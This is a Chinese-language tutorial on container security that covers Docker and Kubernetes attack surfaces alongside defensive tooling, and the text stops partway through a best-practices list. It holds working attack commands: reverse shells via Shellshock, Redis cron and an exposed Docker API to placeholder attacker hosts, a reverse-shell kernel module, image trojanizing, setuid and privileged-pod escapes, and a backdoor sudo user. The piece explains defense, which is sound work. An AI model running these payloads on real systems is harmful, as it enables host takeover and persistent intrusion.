容器技術的安全挑戰:從原理到防禦

在現代雲端架構中,容器技術已成為基礎設施的核心元素。隨著DevOps與SRE實踐的普及,Docker與Kubernetes等容器平台在企業環境中的佈署率持續攀升。然而,這些強大的技術同時也帶來了全新的安全挑戰。玄貓在多年的安全顧問工作中發現,一個看似微小的容器設定錯誤,往往能讓攻擊者獲得整個基礎設施的控制權。

本文將從容器技術的基礎架構開始,深入剖析Docker生態系統中的安全弱點,探討常見的攻擊手法,並提供實用的防護策略。無論你是DevOps工程師、SRE工作者還是安全分析師,這篇都能幫助你構建更安全的容器環境。

容器架構與安全基礎

容器技術的本質與虛擬機器的差異

容器技術本質上是一種作業系統級的虛擬化方案。與傳統虛擬機器相比,容器分享主機的核心,無需為每個例項提供完整的作業系統。這種架構帶來了顯著的效能優勢,但同時也產生了獨特的安全考量。

  graph TD
    A[實體伺服器] --> B[虛擬機器架構]
    A --> C[容器架構]
    
    B --> D[Hypervisor]
    D --> E[虛擬機器1 - 完整OS]
    D --> F[虛擬機器2 - 完整OS]
    
    C --> G[容器引擎]
    G --> H[容器1 - 應用+依賴]
    G --> I[容器2 - 應用+依賴]
    
    E --> J[應用1]
    F --> K[應用2]

這個圖表展示了虛擬機器與容器架構的根本差異。在虛擬機器架構中,每個虛擬機器都需要一個完整的作業系統副本,透過Hypervisor與硬體隔離。而容器架構則直接分享主機的核心,只包含應用程式及其依賴,大幅減少了資源開銷。這種差異不僅影響效能,也直接影響安全邊界的定義。容器間的隔離相對較弱,因為它們分享同一個核心,這意味著核心漏洞可能影響所有容器。相比之下,虛擬機器提供更強的隔離,因為每個虛擬機器都有自己獨立的核心。

Docker映像與容器的關係

Docker生態系統中有兩個核心概念:映像(Image)和容器(Container)。映像是一個靜態的、不可變的藍圖,包含了應用程式及其執行環境。容器則是映像的執行例項,具有狀態和可寫入的檔案系統層。

從物件導向的角度看,映像相當於類別(Class),而容器則相當於物件(Object)。一個映像可以例項化為多個容器,每個容器都有自己的狀態和生命週期。

Docker的分層儲存機制

Docker採用分層儲存架構,每個映像由多個唯讀層組成,容器啟動時會在這些唯讀層上增加一個可寫層。

  graph TD
    A["Docker容器"] --> B["可寫容器層"]
    A --> C["映像層 - 唯讀"]
    
    C --> D["應用層"]
    D --> E["依賴函式庫層"]
    E --> F["基礎OS層"]
    
    B --> G["/var/lib/docker/overlay2"]

這個圖表說明瞭Docker的分層儲存架構。每個Docker映像由多個唯讀層組成,從基礎OS層開始,逐層增加依賴函式庫和應用程式。當容器啟動時,Docker會在這些唯讀層之上增加一個可寫層,所有容器執行時的變更都記錄在這個可寫層中。這種分層機制使得映像分享變得高效,但也帶來了安全隱患。例如,如果基礎層存在漏洞,所有依賴該層的容器都會受到影響。此外,容器刪除後,如果沒有正確清理掛載的卷,敏感資料可能會殘留在主機上,成為資料洩露的風險點。

Linux核心功能在容器隔離中的應用

Docker依賴兩個關鍵的Linux核心功能來實作容器隔離:控制組(cgroups)和名稱空間(namespaces)。

控制組(cgroups)負責限制容器對系統資源的使用,包括CPU、記憶體、磁碟I/O和網路頻寬。這確保了一個容器不會消耗過多資源而影響其他容器或主機系統。

名稱空間(namespaces)則提供了容器與主機之間的隔離。Docker使用六種不同的名稱空間:

# 模擬展示不同名稱空間的隔離效果
def demonstrate_namespace_isolation():
    namespaces = {
        "PID": "程式隔離 - 容器看不到主機程式",
        "NET": "網路隔離 - 容器有自己的網路堆積積疊",
        "IPC": "IPC資源隔離 - 容器間通訊受限",
        "MNT": "掛載點隔離 - 容器有獨立的檔案系統檢視",
        "UTS": "主機名隔離 - 容器可有自己的主機名",
        "USER": "使用者隔離 - 容器內外的使用者ID對映"
    }
    
    for ns_type, description in namespaces.items():
        print(f"{ns_type} 名稱空間: {description}")
        
    print("\n使用者名稱空間特別重要,因為它決定了容器內root與主機root的關係")
    pass

這段程式碼展示了Docker使用的六種Linux名稱空間及其功能。每種名稱空間負責隔離系統的不同方面,共同構成了容器的邊界。其中,使用者名稱空間(USER)對安全尤為重要。預設情況下,Docker不啟用使用者名稱空間,這意味著容器內的root使用者與主機上的root使用者擁有相同的使用者ID。如果攻擊者獲得容器內的root許可權,並找到容器逃逸的方法,就可能獲得主機的root許可權。啟用使用者名稱空間可以將容器內的root使用者對映到主機上的非特權使用者,提供額外的安全保障。

Docker安全攻擊面分析

容器環境的攻擊向量

容器環境的安全攻擊面主要來自三個方向:

  graph LR
    A[Docker安全攻擊面] --> B[外部攻擊者]
    A --> C[惡意內部人員]
    A --> D[容器突破]
    
    B --> E[遠端程式碼執行]
    B --> F[未授權API存取]
    
    C --> G[Docker組許可權濫用]
    C --> H[敏感資料竊取]
    
    D --> I[容器逃逸技術]
    D --> J[許可權提升]

這個圖表概述了Docker環境面臨的三大類別安全威脅。外部攻擊者主要透過遠端可存取的服務尋找入口點,例如暴露的Docker API或存在漏洞的容器化應用。惡意內部人員可能利用Docker組許可權進行許可權提升,因為Docker組成員通常可以啟動特權容器突破則是指攻擊者從已被入侵的容器中逃逸到主機系統,這通常利用設定錯誤或核心漏洞。這三種攻擊向量相互關聯,例如外部攻擊者可能首先入侵一個容器,然後利用容器逃逸技術取得主機存取許可權。理解這些攻擊向量對於構建全面的防禦策略至關重要。

漏洞映像的危險性

公共映像倉函式庫(如Docker Hub)中的映像可能包含已知漏洞,這些漏洞可能是有意或無意引入的。攻擊者可以利用這些漏洞在容器中獲得立足點,甚至進一步攻擊主機系統。

以Shellshock漏洞(CVE-2014-6271)為例,這是一個影響bash shell的嚴重漏洞,可以透過多種服務被利用。

# 啟動一個包含Shellshock漏洞的容器
docker run --rm -it -p 8080:80 vulnerables/cve-2014-6271

# 攻擊者可以利用此漏洞取得反向shell
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'" http://localhost:8080/cgi-bin/vulnerable

這段程式碼展示瞭如何利用Shellshock漏洞取得容器內的反向shell。首先啟動一個包含該漏洞的容器,然後透過特製的HTTP請求觸發漏洞。Shellshock漏洞允許攻擊者在HTTP頭中注入bash命令,這些命令會被目標系統執行。在這個例子中,攻擊者注入了一個反向shell命令,使容器連線到攻擊者的監聽連線埠(4444)。這種攻擊方式不需要任何身份驗證,只要容器暴露了包含漏洞的Web服務,就可能被利用。這突顯了使用最新安全映像的重要性,以及定期掃描容器漏洞的必要性。

判斷是否在容器內部

在滲透測試中,區分容器shell和主機shell至關重要。可以透過檢查特設定檔案來確定當前環境:

# 檢查是否在容器內部
cat /proc/self/cgroup | grep -i docker

# 或者檢查.dockerenv檔案
ls -la /.dockerenv

# 檢視容器限制
cat /proc/1/status | grep -i cap

這些命令用於判斷當前環境是否為Docker容器。/proc/self/cgroup檔案包含了程式的控制組訊息,如果輸出中包含"docker"字樣,則表明當前環境是Docker容器。另一種方法是檢查/.dockerenv檔案,這個檔案只存在於Docker容器中。最後一個命令檢查PID 1程式的capabilities,這可以幫助瞭解容器的權限制。對攻擊者而言,確認自己是否在容器內部是重要的第一步,因為這決定了後續的攻擊策略。對防禦者而言,瞭解這些檢測方法有助於設定蜜罐或欺騙環境,誤導攻擊者的判斷。

映像後門植入技術

攻擊者可以在現有的Docker映像中植入後門,然後將其上載到公共倉函式庫。使用工具如dockerscan可以輕鬆實作這一點:

# 使用dockerscan在映像中植入後門
dockerscan image modify trojanize ubuntu-original -l 172.17.0.1 -p 4444 -o ubuntu-original-trojanized

# 當受害者執行被後門化的映像時
docker pull malicious/ubuntu
docker run -it malicious/ubuntu

# 攻擊者將獲得一個反向shell連線
# 在攻擊者機器上監聽
nc -lvp 4444

這段程式碼展示瞭如何使用dockerscan工具在Docker映像中植入後門。該工具修改映像,增加一個在容器啟動時連線到攻擊者控制伺服器的反向shell。攻擊者可以將修改後的映像上載到公共倉函式庫,並使用看似合法的名稱和描述誘使受害者下載使用。當受害者執行該映像時,後門程式會自動執行,建立與攻擊者的連線。這種攻擊方式特別危險,因為它不需要容器存在漏洞,只需要受害者信任並使用惡意映像。防禦此類別攻擊的關鍵是使用可信來源的映像,啟用Docker Content Trust進行映像簽名驗證,並使用漏洞掃描工具檢查映像中的可疑程式。

容器逃逸與許可權提升技術

利用卷掛載實作許可權提升

Docker組的成員可以透過卷掛載和setuid二進位檔案提升至root許可權:

# 建立一個包含提權指令碼的容器
cat > privesc.sh << EOF
#!/bin/bash
cp /bin/bash /shared/bash
chmod u+s /shared/bash
EOF

# 構建映像
docker build -t privesc -f - . << EOF
FROM alpine
COPY privesc.sh /
RUN chmod +x /privesc.sh
CMD ["/bin/sh", "/privesc.sh"]
EOF

# 執行容器,掛載主機目錄
docker run -v /tmp/shared:/shared privesc:latest

# 在主機上執行setuid bash取得root許可權
/tmp/shared/bash -p

這段程式碼展示了Docker組成員如何利用卷掛載機制提升許可權。首先建立一個包含提權指令碼的容器映像,該指令碼會複製bash二進位檔案到分享卷中,並設定setuid位。當容器執行時,它將修改後的bash二進位檔案寫入主機的/tmp/shared目錄。由於該bash具有setuid許可權,主機上的普通使用者執行它時將獲得root許可權。這種攻擊利用了Docker的設計特性:Docker守護程式以root身份執行,因此容器內的程式可以建立具有root許可權的檔案。防禦此類別攻擊需要嚴格控制Docker組成員資格,並考慮使用者名稱空間將容器root對映到主機非特權使用者。

docker.sock的危險性

Docker通訊端(docker.sock)是管理容器的核心元件。如果將其掛載到容器中,攻擊者可以利用它來存取主機檔案系統:

# 如果容器掛載了docker.sock
docker run -it -v /var/run/docker.sock:/var/run/docker.sock alpine sh

# 攻擊者可以在容器內使用Docker命令
apk add --no-cache docker-cli

# 啟動一個新容器,掛載主機根目錄
docker run -it -v /:/host_root alpine sh

# 現在可以存取主機的整個檔案系統
ls -la /host_root

這段程式碼展示了docker.sock被掛載到容器中的危險性。docker.sock是Docker守護程式的Unix通訊端,透過它可以控制Docker API。當容器能夠存取這個通訊端時,它實際上獲得了與主機Docker守護程式通訊的能力。在這個例子中,攻擊者首先在容器中安裝Docker客戶端,然後利用docker.sock啟動另一個掛載了主機根目錄的容器。這使攻擊者能夠存取主機的整個檔案系統,包括敏感檔案如/etc/shadow或SSH金鑰。這種攻擊方式特別危險,因為它不需要容器本身有特權,只需要存取docker.sock。防禦措施包括避免將docker.sock掛載到容器中,或者如果必須這樣做,確保容器的安全性並限制其使用者許可權。

–privileged標誌的風險

使用–privileged標誌啟動的容器獲得了幾乎所有的Linux capabilities,這使得容器逃逸變得容易:

# 啟動一個特權容器
docker run --privileged -it alpine sh

# 在容器內掛載主機裝置
mkdir /host_dev
mount /dev/sda1 /host_dev

# 現在可以存取主機檔案系統
ls -la /host_dev

這段程式碼展示了特權容器的危險性。--privileged標誌賦予容器幾乎所有的Linux capabilities,使其能夠執行通常被禁止的操作,如掛載裝置。在這個例子中,攻擊者啟動了一個特權容器,然後直接掛載主機的磁碟分割槽(/dev/sda1)。這使攻擊者能夠存取主機的檔案系統,無視容器的隔離邊界。特權容器本質上與主機分享相同的安全上下文,這使得容器與主機之間的邊界變得模糊。在生產環境中應避免使用特權容器,除非絕對必要。如果必須使用特權容器,應嚴格限制其存取範圍,並實施額外的監控和安全控制。

利用CAP_SYS_MODULE實作容器逃逸

具有CAP_SYS_MODULE能力的容器可以向主機核心載入模組,這是一個嚴重的安全風險:

// 反向shell核心模組範例 (reverseshell_module.c)
#include <linux/kmod.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>

static char command[50] = "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1";
char* argv[] = {"/bin/bash","-c", command, NULL};
static char* envp[] = {"HOME=/",NULL};

static int __init connect_back_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit connect_back_exit(void){
    printk(KERN_INFO "Exiting\n");
}

module_init(connect_back_init);
module_exit(connect_back_exit);
# 在具有CAP_SYS_MODULE的容器中
docker run --cap-add SYS_MODULE -it -v $(pwd):/tmp alpine sh

# 編譯並載入核心模組
cd /tmp
apk add --no-cache build-base linux-headers
make -C /lib/modules/$(uname -r)/build M=/tmp modules
insmod /tmp/reverseshell_module.ko

這段程式碼展示瞭如何利用CAP_SYS_MODULE能力實作容器逃逸。該C程式碼定義了一個Linux核心模組,當載入時會執行一個反向shell命令,連線到攻擊者控制的伺服器。在具有SYS_MODULE能力的容器中,攻擊者可以編譯並載入這個模組到主機核心。由於核心模組在主機上下文中執行,這實際上是一種容器逃逸技術,使攻擊者能夠在主機上執行命令。這種攻擊特別危險,因為它直接操作核心,可能導致系統不穩定或完全妥協。防禦措施包括避免賦予容器SYS_MODULE能力,使用Seccomp設定案限制系統呼叫,以及實施核心模組簽名驗證。

未使用卷的安全風險

即使在容器被刪除後,掛載的卷仍然保留在主機上。如果這些捲包含敏感資料,攻擊者可能會存取它們:

# 建立一個包含敏感資料的卷
docker volume create db_creds

# 在容器中寫入敏感資料
docker run --rm -v db_creds:/data alpine sh -c "echo 'root:toor' > /data/credentials"

# 即使容器被刪除,資料仍然存在
sudo cat /var/lib/docker/volumes/db_creds/_data/credentials

這段程式碼展示了Docker卷的永續性及其潛在的安全風險。Docker卷是獨立於容器生命週期的儲存單元,即使容器被刪除,卷中的資料仍然保留在主機上。在這個例子中,一個容器將敏感的憑證資訊寫入名為db_creds的卷中。即使容器被刪除,這些憑證仍然可以透過主機上的/var/lib/docker/volumes/db_creds/_data/credentials檔案存取。這種情況在臨時容器中特別常見,開發者可能認為刪除容器後所有資料都會被清理,但實際上卷中的資料仍然存在。為了防止敏感資料洩露,應該加密儲存在卷中的敏感資料,並在不再需要時明確刪除卷(docker volume rm)。

Docker Remote API攻擊

Docker Remote API允許透過HTTP遠端管理Docker守護程式。預設情況下,此API不需要身份驗證,如果暴露在網路上,可能被攻擊者利用:

# 檢查Docker API是否可存取
curl -s http://target-ip:2375/version | jq

# 利用Docker Remote API取得主機存取許可權
docker -H tcp://target-ip:2375 run --rm -v /:/mnt alpine chroot /mnt /bin/bash -c "bash -i >& /dev/tcp/attacker-ip/4444 0>&1"

這段程式碼展示瞭如何利用暴露的Docker Remote API取得主機存取許可權。Docker Remote API允許透過HTTP協定遠端管理Docker守護程式,預設監聽在2375連線埠(未加密)或2376連線埠(TLS加密)。如果這個API未經身份驗證就暴露在網路上,攻擊者可以完全控制Docker環境。在這個例子中,攻擊者首先檢查API是否可存取,然後利用它啟動一個掛載了主機根目錄的容器,並執行一個反向shell命令。這使攻擊者能夠在主機上下文中執行命令,完全繞過容器隔離。防禦措施包括確保Docker API不對外暴露,如果需要遠端存取,則應啟用TLS和身份驗證,並限制API存取範圍。

利用Docker Remote API取得主機存取許可權

攻擊者可以透過Docker Remote API啟動一個掛載了主機根目錄的容器,然後修改主機的系統檔案:

# 透過Docker API啟動一個掛載主機根目錄的容器
docker -H tcp://target-ip:2375 run -it -v /:/host_root alpine sh

# 在容器內增加一個新使用者到主機
echo 'hacker:x:1001:1001:hacker,,,:/home/hacker:/bin/bash' >> /host_root/etc/passwd
echo 'hacker:$6$salt$hash:18438:0:99999:7:::' >> /host_root/etc/shadow
echo 'hacker ALL=(ALL) NOPASSWD:ALL' >> /host_root/etc/sudoers.d/hacker

# 然後透過SSH以新使用者身份登入主機
ssh hacker@target-ip

這段程式碼進一步展示了Docker Remote API的危險性。攻擊者利用未受保護的API啟動一個掛載了主機根目錄的容器,然後直接修改主機的關鍵系統檔案。具體來說,攻擊者增加了一個新的使用者帳戶到/etc/passwd/etc/shadow檔案中,並在/etc/sudoers.d/目錄下建立了一個設定案,賦予該使用者無密碼sudo許可權。這使攻擊者能夠透過SSH以新建立的使用者身份登入主機,並獲得完全的管理許可權。這種攻擊方式特別危險,因為它不需要利用任何漏洞,只需要Docker API未受保護。防禦措施包括確保Docker API只監聽在localhost介面,或者如果需要遠端存取,實施強身份驗證和TLS加密。

Docker機密存取

Docker環境中的機密管理是一個常見挑戰。許多開發者將機密儲存在環境變數中,這是不安全的做法:

# 不安全的機密管理 - Dockerfile中的環境變數
FROM mysql/mysql-server:latest
ENV MYSQL_ROOT_PASSWORD=toor
ENV MYSQL_DATABASE=users
ENV MYSQL_USER=root
ENV MYSQL_PASSWORD=toor

攻擊者可以透過以下方式檢視這些機密:

# 在容器內部檢視環境變數
env | grep MYSQL

# 從主機檢視容器環境變數
docker inspect database -f "{{json .Config.Env}}"

這段程式碼展示了Docker環境中常見的機密管理問題。在Dockerfile中直接設定環境變數是一種常見但不安全的做法,因為這些機密會被嵌入到映像中,並可能透過多種方式洩露。在容器內部,任何程式都可以透過env命令檢視所有環境變數。從主機側,任何有權存取Docker API的使用者都可以透過docker inspect命令檢視容器的環境變數。此外,這些機密還會出現在Docker歷史記錄和映像層中。更安全的做法是使用專門的機密管理解決方案,如Docker Secrets、Kubernetes Secrets或HashiCorp Vault,或者在執行時透過安全通路注入機密。

自動化漏洞評估工具

Trivy:容器漏洞掃描

Trivy是一個簡單的容器漏洞掃描工具,可以檢測映像中的已知漏洞:

# 安裝Trivy
curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin

# 掃描Docker映像
trivy image nginx:latest

# 輸出結果到JSON檔案
trivy image --format json -o results.json nginx:latest

這段程式碼展示瞭如何使用Trivy掃描Docker映像中的漏洞。Trivy是一個開放原始碼的容器漏洞掃描工具,能夠檢測映像中的作業系統套件和語言特定的依賴函式庫中的已知漏洞。它透過比對CVE資料函式庫來識別漏洞,並按嚴重程度分類別結果。在這個例子中,首先安裝Trivy,然後掃描nginx:latest映像,最後將結果輸出為JSON格式以便進一步分析。定期掃描映像是容器安全最佳實踐的重要部分,可以幫助識別並修復潛在的安全風險。在CI/CD流程中整合Trivy等工具,可以在佈署前自動檢測並阻止包含嚴重漏洞的映像。

Docker Bench Security

Docker Bench Security是一個檢查Docker佈署最佳實踐的工具:

# 執行Docker Bench Security
docker run -it --net host --pid host --userns host --cap-add audit_control \
    -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
    -v /etc:/etc \
    -v /var/lib:/var/lib:ro \
    -v /var/run/docker.sock:/var/run/docker.sock:ro \
    --label docker_bench_security \
    docker/docker-bench-security

這段程式碼展示瞭如何執行Docker Bench Security工具。該工具根據CIS Docker Benchmark,提供了一套全面的Docker安全設定檢查。它會檢查主機設定、Docker守護程式設定、容器執行時設定等多個方面,並提供詳細的報告和改進建議。在這個例子中,工具以容器形式執行,但需要存取主機的多個關鍵元件,因此使用了多個特殊標誌和卷掛載。執行後,工具會生成一份詳細報告,包括透過和失敗的檢查專案,以及如何修復問題的建議。定期執行此類別工具有助於識別設定錯誤和潛在的安全風險,確保Docker環境符合安全最佳實踐。

AppArmor設定案

AppArmor是一個Linux安全模組,可以用來保護Docker容器免受安全威脅:

# 建立AppArmor設定案
cat > apparmor-profile << EOF
#include <tunables/global>

profile apparmor-profile flags=(attach_disconnected,mediate_deleted) {
  #include <abstractions/base>
  
  file,
  network,
  capability,
  
  deny /tmp/** w,
  deny /etc/passwd rwklx,
  deny /etc/shadow rwklx,
  deny /etc/hosts rwklx,
  deny /etc/hostname rwklx,
}
EOF

# 載入AppArmor設定案
sudo apparmor_parser -r -W apparmor-profile

# 使用AppArmor設定案啟動容器
docker run -itd --security-opt apparmor=apparmor-profile alpine

這段程式碼展示瞭如何建立和使用AppArmor設定案來增強容器安全。AppArmor是一個Linux安全模組,可以限制程式的資源存取許可權。在這個例子中,設定案允許基本的檔案操作、網路存取和一些capabilities,但明確拒絕對敏感檔案的寫入存取,如/etc/passwd/etc/shadow等。這種設定可以防止容器內的惡意程式修改關鍵系統檔案,即使它們以root身份執行。設定案建立後,使用apparmor_parser命令載入到系統中,然後透過--security-opt apparmor=標誌將其應用到容器。這種方法提供了比預設Docker安全設定更精細的控制,可以根據具體應用需求定製安全策略。

Seccomp設定案

Seccomp可以過濾容器內可執行的系統呼叫:

{
  "defaultAction": "SCMP_ACT_ALLOW",
  "architectures": [
    "SCMP_ARCH_X86_64",
    "SCMP_ARCH_X86",
    "SCMP_ARCH_X32"
  ],
  "syscalls": [
    {
      "name": "chmod",
      "action": "SCMP_ACT_ERRNO",
      "args": []
    },
    {
      "name": "mount",
      "action": "SCMP_ACT_ERRNO",
      "args": []
    },
    {
      "name": "unshare",
      "action": "SCMP_ACT_ERRNO",
      "args": []
    }
  ]
}
# 使用Seccomp設定案啟動容器
docker run -itd --security-opt seccomp=seccomp-profile.json alpine

這段程式碼展示瞭如何使用Seccomp設定案限制容器內可執行的系統呼叫。Seccomp(Secure Computing Mode)是Linux核心的一個安全功能,可以限制程式可以執行的系統呼叫。在這個JSON設定案中,預設允許所有系統呼叫(defaultAction: SCMP_ACT_ALLOW),但明確禁止了三個可能被用於容器逃逸的系統呼叫:chmodmountunshare。當容器內的程式嘗試執行這些被禁止的系統呼叫時,核心會回傳錯誤。這種設定可以有效防止許多容器逃逸技術,因為它們通常依賴於特定的系統呼叫。Docker預設使用一個包含大多數常見系統呼叫的Seccomp設定案,但為了最大限度地提高安全性,可以根據應用需求定製更嚴格的設定案。

使用Capabilities限制許可權

Docker可以透過Capabilities實作對容器許可權的精細控制:

# 移除所有capabilities,只保留必要的
docker run -itd --cap-drop ALL --cap-add CHOWN --cap-add NET_BIND_SERVICE alpine

# 檢查容器的capabilities
docker exec <container_id> cat /proc/1/status | grep Cap

這段程式碼展示瞭如何使用Linux capabilities機制限制容器許可權。Linux capabilities將傳統的root許可權分解為更細粒度的許可權單元,使得程式可以只獲得完成特定任務所需的最小許可權。在這個例子中,首先移除容器的所有capabilities(--cap-drop ALL),然後只增加兩個必要的capabilities:CHOWN(允許修改檔案所有權)和NET_BIND_SERVICE(允許繫結1024以下的連線埠)。這種"最小許可權"原則大減少了容器的攻擊面,即使容器被入侵,攻擊者也只能執行有限的操作。第二個命令用於檢查容器的實際capabilities,這對於稽核和驗證安全設定非常有用。在生產環境中,應該仔細分析應用需要的具體capabilities,避免賦予不必要的許可權。

Docker Content Trust

Docker Content Trust可以確保只提取經過簽名和驗證的映像:

# 啟用Docker Content Trust
export DOCKER_CONTENT_TRUST=1

# 提取映像(只接受已簽名的映像)
docker pull alpine:latest

# 推播映像時自動簽名
docker push myregistry/myimage:latest

這段程式碼展示瞭如何啟用和使用Docker Content Trust。Docker Content Trust是一個確保映像完整性和來源可信的機制,根據The Update Framework(TUF)。當啟用Content Trust時(export DOCKER_CONTENT_TRUST=1),Docker客戶端只會提取經過發布者數字簽名的映像,並自動驗證簽名的有效性。這可以防止中間人攻擊和映像篡改。當推播映像時,Docker會自動使用本地金鑰對映像進行簽名。這種機制確保了從映像倉函式庫到執行環境的整個供應鏈的安全性。在企業環境中,應該考慮實施強制性的Content Trust策略,確保所有使用的映像都來自可信來源,並且在傳輸過程中沒有被篡改。

容器網路攻擊與防禦

容器網路架構與攻擊面

容器網路是容器安全的重要組成部分,也是常見的攻擊目標。Docker預設使用橋接網路模式,建立虛擬網橋連線所有容器:

  graph TD
    A[主機] --> B[docker0 橋接網路]
    B --> C[容器1]
    B --> D[容器2]
    B --> E[容器3]
    A --> F[外部網路]
    F --> G[網際網路]
    
    H[攻擊面] --> I[容器間通訊]
    H --> J[容器到主機通訊]
    H --> K[容器到外部網路]

這個圖表展示了Docker預設的橋接網路架構及其潛在攻擊面。在這種架構中,Docker建立一個虛擬網橋(通常名為docker0),所有容器都連線到這個網橋。容器間可以透過這個網橋直接通訊,容器也可以透過主機存取外部網路。這種架構存在三個主要攻擊面:容器間通訊(橫向移動)、容器到主機通訊(縱向提升)和容器到外部網路(資料外洩或命令控制)。預設情況下,同一網橋上的所有容器可以相互通訊,這可能導致一個被入侵的容器攻擊其他容器。此外,容器通常可以存取主機上的服務,這可能被用於許可權提升。理解這些攻擊面對於設計安全的容器網路策略至關重要。

容器網路側向移動攻擊

在預設設定下,同一Docker網路中的容器可以相互通訊,這可能導致側向移動攻擊:

# 在容器1中執行(假設已被入侵)
# 掃描同一網路中的其他容器
apk add --no-cache nmap
nmap -sS -p 1-65535 172.17.0.0/24

# 發現開放的服務後嘗試連線
nc 172.17.0.3 3306 -v

# 如果發現漏洞,可以嘗試利用
# 例如,利用未授權的Redis服務
echo -e "flushall\r\nset crackit \"\\\n\\n*/1 * * * * /bin/bash -i >& /dev/tcp/172.17.0.2/4444 0>&1\\n\\n\"\r\nsave\r\nconfig set dir /etc/cron.d\r\nconfig set dbfilename root\r\nsave\r\n" | nc 172.17.0.4 6379

這段程式碼展示了容器網路側向移動攻擊的過程。在這個場景中,攻擊者已經入侵了一個容器,並嘗試利用它攻擊同一網路中的其他容器。首先,攻擊者使用nmap掃描Docker預設網段(172.17.0.0/24),尋找開放的服務連線埠。發現目標後,攻擊者嘗試連線並探測服務漏洞。最後一部分展示了一個實際的攻擊例子:利用未授權的Redis服務寫入crontab檔案,建立一個反向shell。這種攻擊利用了Docker預設網路設定中容器間可以自由通訊的特性。防禦措施包括使用自定義網路並控制容器間的通訊許可權,實施網路分段,以及確保容器內服務的適當身份驗證。

防禦容器網路攻擊

為了防禦容器網路攻擊,可以採取以下措施:

# 建立自定義網路,限制容器間通訊
docker network create --internal backend
docker network create frontend

# 將Web伺服器連線到前端網路
docker run -d --name webserver --network frontend nginx

# 將資料函式庫連線到後端網路
docker run -d --name database --network backend mysql

# 將需要同時存取前後端的應用連線到兩個網路
docker run -d --name app --network frontend myapp
docker network connect backend app
  graph TD
    A[主機] --> B[前端網路]
    A --> C[後端網路]
    
    B --> D[Web伺服器]
    B --> E[應用伺服器]
    
    C --> E
    C --> F[資料函式庫伺服器]
    
    G[網際網路] --> B
    G -.- C

這段程式碼和圖表展示瞭如何使用Docker網路分段來增強安全性。首先建立兩個獨立的網路:一個前端網路用於導向外部的服務,一個後端網路用於內部服務。Web伺服器只連線到前端網路,資料函式庫只連線到後端網路,而應用伺服器則同時連線到兩個網路以便協調通訊。這種架構確保了即使Web伺服器被入侵,攻擊者也無法直接存取資料函式庫,因為它們位於不同的網路中。圖表中的虛線表示後端網路不直接暴露給網際網路。這種網路分段策略遵循了最小許可權原則,每個容器只能存取其功能所需的網路資源。在生產環境中,還應該考慮使用網路策略或防火牆規則進一步限制容器間的通訊。

Kubernetes環境中的容器安全

Kubernetes安全架構

Kubernetes作為容器協調平台,引入了新的安全考量和攻擊面:

  graph TD
    A[Kubernetes叢集] --> B[控制平面]
    A --> C[工作節點]
    
    B --> D[API伺服器]
    B --> E[etcd]
    B --> F[控制器管理器]
    B --> G[排程器]
    
    C --> H[kubelet]
    C --> I[容器執行時]
    C --> J[kube-proxy]
    
    K[攻擊面] --> L[未授權API存取]
    K --> M[etcd資料洩露]
    K --> N[容器逃逸]
    K --> O[Service Account濫用]
    K --> P[節點間側向移動]

這個圖表展示了Kubernetes的基本架構和主要攻擊面。Kubernetes叢集由控制平面和工作節點組成。控制平面包含API伺服器(所有操作的入口點)、etcd(儲存叢集狀態的資料函式庫)、控制器管理器和排程器。工作節點執行實際的容器,包含kubelet(與控制平面通訊的代理)、容器執行時(如Docker)和kube-proxy(管理網路規則)。

主要攻擊麵包括:未授權的API存取(可能導致完全控制叢集)、etcd資料洩露(可能暴露敏感設定和金鑰)、容器逃逸(從容器到主機的攻擊)、Service Account濫用(利用過度許可權的服務帳戶)和節點間側向移動(從一個被入侵的Pod攻擊其他Pod)。理解這些攻擊面對於設計安全的Kubernetes佈署至關重要。

Kubernetes許可權提升攻擊

在Kubernetes環境中,攻擊者可能利用過度許可權的Service Account進行許可權提升:

# 在Pod內部檢查Service Account許可權
kubectl auth can-i --list

# 如果Service Account有足夠許可權,可以建立特權Pod
cat > privileged-pod.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: privileged-pod
spec:
  containers:
  - name: shell
    image: alpine
    command: ["/bin/sh", "-c", "sleep 10000"]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:
      path: /
EOF

kubectl apply -f privileged-pod.yaml

# 進入新建立的特權Pod
kubectl exec -it privileged-pod -- /bin/sh

# 現在可以存取主機檔案系統
ls -la /host

這段程式碼展示了在Kubernetes環境中的許可權提升攻擊。攻擊者首先檢查Pod內Service Account的許可權。如果該Service Account具有建立Pod的許可權,攻擊者可以利用它建立一個特權Pod。這個特權Pod有兩個關鍵特性:securityContext.privileged: true使容器獲得主機級別的許可權,而hostPath卷掛載使容器可以存取主機的整個檔案系統。一旦這個特權Pod建立成功,攻擊者可以進入它並存取主機檔案系統,實作從容器到主機的許可權提升。

這種攻擊利用了Kubernetes中常見的設定錯誤:賦予Service Account過度的許可權。防禦措施包括實施最小許可權原則,使用RBAC(根據角色的存取控制)限制Service Account許可權,禁止使用特權容器,以及使用Pod安全策略或Pod安全標準限制Pod的安全上下文。

Kubernetes安全最佳實踐

為了保護Kubernetes環境,應遵循以下最佳實踐:

# Pod安全上下文範例
apiVersion: v1
kind: Pod
metadata:
  name: secure-pod
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    runAsGroup: 3000
    fsGroup: 2000
    seccompProfile:
      type: RuntimeDefault
  containers:
  - name: app
    image: myapp:latest
    securityContext:
      allowPrivilegeEscalation: false
      capabilities:
        drop:
        - ALL
      readOnlyRootFilesystem: true
# 網路策略範例
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: db-netpol
spec:
  podSelector:
    matchLabels:
      role: db
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          role: backend
    ports:
    - port: 5432

這兩個YAML檔案展示了Kubernetes中的安全最佳實踐。第一個是Pod安全上下文設定,實施了多層安全控制:

  • runAsNonRoot: true確保容器不以root使用者執行
  • runAsUser/runAsGroup/fsGroup指定了非特權使用者和組ID
